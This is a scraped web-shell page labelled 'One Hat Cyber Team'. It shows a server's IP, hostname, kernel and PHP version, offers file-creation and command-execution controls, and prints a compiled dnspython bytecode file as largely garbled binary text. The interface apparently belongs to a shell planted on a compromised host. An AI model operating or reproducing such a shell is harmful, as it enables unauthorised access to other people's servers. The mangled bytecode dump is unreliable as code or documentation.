⚝
One Hat Cyber Team
⚝
Your IP:
13.58.121.29
Server IP:
97.74.87.16
Server:
Linux 16.87.74.97.host.secureserver.net 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3.9
/
site-packages
/
dns
/
__pycache__
/
View File Name :
versioned.cpython-39.opt-1.pyc
a �M�e�- � @ s� d Z ddlZddlZddlmZmZmZmZmZ ddl Z ddlZ ddlZ ddl Z ddlZ ddlZ ddlZ ddlZ ddlZ G dd� de jj�Ze jjZe jjZe jjZe jjZe jjZe jjZG dd� de jj�ZdS )zDNS Versioned Zones.� N)�Callable�Deque�Optional�Set�Unionc @ s e Zd ZdZdS )�UseTransactionz-To alter a versioned zone, use a transaction.N)�__name__� __module__�__qualname__�__doc__� r r �1/usr/lib/python3.9/site-packages/dns/versioned.pyr s r c sX e Zd Zg d�ZeZejjddfe e ejje f ejjee ed ege e f d�� fdd� Zd7e e e e ed�dd �Zd8eed�dd �Zdd� Zdd� Zdd� Ze e dd�dd�Ze ed ege e f dd�dd�Zdd� Zdd� Zdd� Zd d!� Zd"d#� Z d$d%� Z!d9e ejje f eej"jd&�� fd'd(� Z#e ejje f dd)�d*d+�Z$ej%j&d fe ejje f e ej%j'e f e ej%j'e f eej(j)d,�� fd-d.� Z*ej%j&d fe ejje f e ej%j'e f e ej%j'e f ee ej(j) d,�� fd/d0� Z+ej%j&fe ejje f e ej%j'e f e ej%j'e f dd1�d2d3�Z,e ejje f ej(j)dd4�d5d6�Z-� Z.S ):�Zone)� _versionsZ_versions_lock� _write_txn�_write_waiters�_write_event�_pruning_policy�_readersTN)�origin�rdclass� relativize�pruning_policyc st t � �|||� t�� | _t�� | _|du r6| j| _ n|| _ d| _ d| _t�� | _t � | _| �dt| dd�|� dS )a� Initialize a versioned zone object. *origin* is the origin of the zone. It may be a ``dns.name.Name``, a ``str``, or ``None``. If ``None``, then the zone's origin will be set by the first ``$ORIGIN`` line in a zone file. *rdclass*, an ``int``, the zone's rdata class; the default is class IN. *relativize*, a ``bool``, determine's whether domain names are relativized to the zone's origin. The default is ``True``. *pruning policy*, a function taking a ``Zone`` and a ``Version`` and returning a ``bool``, or ``None``. Should the version be pruned? If ``None``, the default policy, which retains one version is used. NT)�replacement)�super�__init__�collections�dequer � threading�Lock� _version_lock�_default_pruning_policyr r r r �setr �_commit_version_unlocked�WritableVersion)�selfr r r r �� __class__r r r . s �z Zone.__init__)�id�serial�returnc C s, |d ur|d urt d��| j� �� |d urbd }t| j�D ]}|j|kr8|} qPq8|d u r�td��n�|d ur�| jrztjj }n| j }d }t| j�D ]@}|j�|�}|r�|� | jtjj�}|r�|d j|kr�|} q�q�|d u r�td��n | jd }t| d|�}| j�|� |W d � S 1 �s0 Y d S )Nz!cannot specify both id and serialzversion not foundr zserial not found���F)� ValueErrorr �reversedr r( �KeyErrorr �dns�name�emptyr �nodes�get�get_rdatasetr � rdatatypeZSOAr) �Transactionr �add) r% r( r) �version�vZoname�nZrds�txnr r r �readerS s: zZone.readerF)r r* c C s� d }| j �\ | jd u rD|| jkrDt| |dd�| _d | _W d � q�t�� }| j�|� W d � n1 sl0 Y |�� q| j� � | jS )NT)Zmake_immutable) r r r r6 r �Eventr �append�waitZ_setup_version)r% r Zeventr r r �writerw s �* zZone.writerc C s( t | j�dkr$| j�� | _| j�� d S )Nr )�lenr �popleftr r"